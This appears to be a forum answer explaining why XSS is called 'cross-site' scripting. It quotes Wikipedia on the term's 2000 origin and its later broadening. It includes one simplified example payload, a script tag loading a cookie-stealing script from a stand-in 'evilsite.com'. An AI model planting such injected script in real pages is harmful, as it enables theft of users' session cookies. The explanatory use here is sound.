This is an excellent question and one I pondered myself. The [link schroeder gave in the comment][1] is good: > Microsoft security-engineers introduced the term ["cross-site scripting" in January 2000][2]. The expression "cross-site scripting" originally referred to the act of loading the attacked, third-party web application from an unrelated attack-site, in a manner that executes a fragment of JavaScript prepared by the attacker in the security context of the targeted domain (taking advantage of a reflected or non-persistent XSS vulnerability). From this description the origin of the "Cross" in XSS becomes apparent: the first XSS was because Alex goes to evilsite.com and sees a link saying: `'see cute puppies on nicesite.com?q=puppies&<script src="evilsite.com/steal_auth_cookie.js"></script>'` ([example simplified from wikipedia article][3]). It goes on to explain that XSS term has broadened to now include things that don't involve cross site (additional examples include an attack link that could have been sent via email, or even on a paper letter!). Also the example has its command and control at another web*site* but easy could have been a bare IP address. > The definition gradually expanded to encompass other modes of code injection, including persistent and non-JavaScript vectors (including ActiveX, Java, VBScript, Flash, or even HTML scripts), causing some confusion to newcomers to the field of information security. Regarding a different, more descriptive and less confusing name. From my research it seems you are correct in stating this is a class of vulnerabilities from not escaping user content. Naming is hard so it's unlikely to change. The only one I could think up briefly was Unescaped Scripting Attack, but the acronym is already taken by something more well known... [1]: https://en.wikipedia.org/wiki/Cross-site_scripting#Background [2]: https://blogs.msdn.microsoft.com/dross/2009/12/15/happy-10th-birthday-cross-site-scripting/ [3]: https://en.wikipedia.org/wiki/Cross-site_scripting#Non-persistent